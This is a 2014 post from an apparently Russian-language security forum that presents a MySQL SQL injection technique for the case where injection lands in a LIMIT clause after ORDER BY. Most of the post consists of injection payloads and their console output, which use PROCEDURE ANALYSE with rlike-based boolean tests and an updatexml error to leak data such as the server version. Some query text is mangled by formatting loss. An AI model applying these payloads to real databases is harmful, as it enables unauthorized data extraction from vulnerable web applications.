Показать сообщение отдельно
Старый 21.06.2014, 19:38   #30
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию MySQL: Инъекция в LIMIT после ORDER BY

Всем привет! Темы кончились? Нет. Будем продолжать банкет! Старые исследования прокладывают путь новым, опять и снова!

Тема: Инъекция в LIMIT после ORDER BY

Инъекция имеется, но сделать ничего нельзя (из гугла):
https://forum.antichat.ru/showpost.p...ostcount=21483
https://rdot.org/forum/showpost.php?...postcount=3224
https://forum.antichat.ru/showpost.p...ostcount=23293
https://forum.antichat.net/showpost....ostcount=23189

Проблема
PHP код:
mysqlSELECT host FROM mysql.user ORDER BY 1 LIMIT 0/* SQL-inj */;
+-----------+
host      |
+-----------+
127.0.0.1 |
| ::
1       |
host      |
+-----------+
3 rows in set (0.00 sec
Вектор работает через PROCEDURE ANALYSE. Все, кто пробовали использовать использовать данный синтаксис, столкнулись с большими проблемами.
PHP код:
mysqlSELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE(((2))); // Можно заключать аргумент в скобки
Empty set (0.00 sec)

mysqlSELECT host FROM mysql.user PROCEDURE ANALYSE(2);
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

// Совместное использование ORDER BY и PROCEDURE ANALYSE запрещено:
mysqlSELECT host FROM mysql.user ORDER BY 1 LIMIT 03 PROCEDURE ANALYSE(4);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure 
Решение
Рассмотрим некоторые из заметок:
MySQL: Альтернативные error-based векторы
Заметка о однократном выполнении выражения, о исполнении невыполнямого выражения

Первая позволяет увидеть процесс формирования запроса:
PHP код:
mysqlSELECT 18446744073709551610 * if((SELECT 1rlike 122);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * if((1 regexp 1),2,2))'

// Подзапрос исчез, а rlike заменилось на regexp 
Применять подобный подзапрос можно и в PROCEDURE ANALYSE:
PHP код:
mysql>  SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3));
Empty 
set (0.00 sec)

mysql>  SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT '3'));
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

mysql>  SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 union SELECT 2 LIMIT 1));
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

mysql>  SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY sleep(1)));
Empty 
set (0.00 sec)

mysql>  SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY /* SQL */));
ERROR 1386 (HY000): Can't use ORDER clause with this procedure 
Итак, выражение протолкнуто в PROCEDURE ANALYSE, однако оно не исполняется (в таблице только одна запись), попрежнему возникает ошибка 1386. Решить обе проблемы может только один вектор - вектор исполнения неисполняемого выражения (см. заметку 2):
Код:
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY 1 rlike if(mid(version(), 1, 1) = 5, 0x00, 1)));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY 1 rlike if(mid(version(), 1, 1) = 6, 0x00, 1)));
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY updatexml(1, concat(0x3A, version()), 1)));
ERROR 1105 (HY000): XPATH syntax error: ':5.5'

Последний раз редактировалось NameSpace; 01.08.2014 в 11:54..
NameSpace вне форума   Ответить с цитированием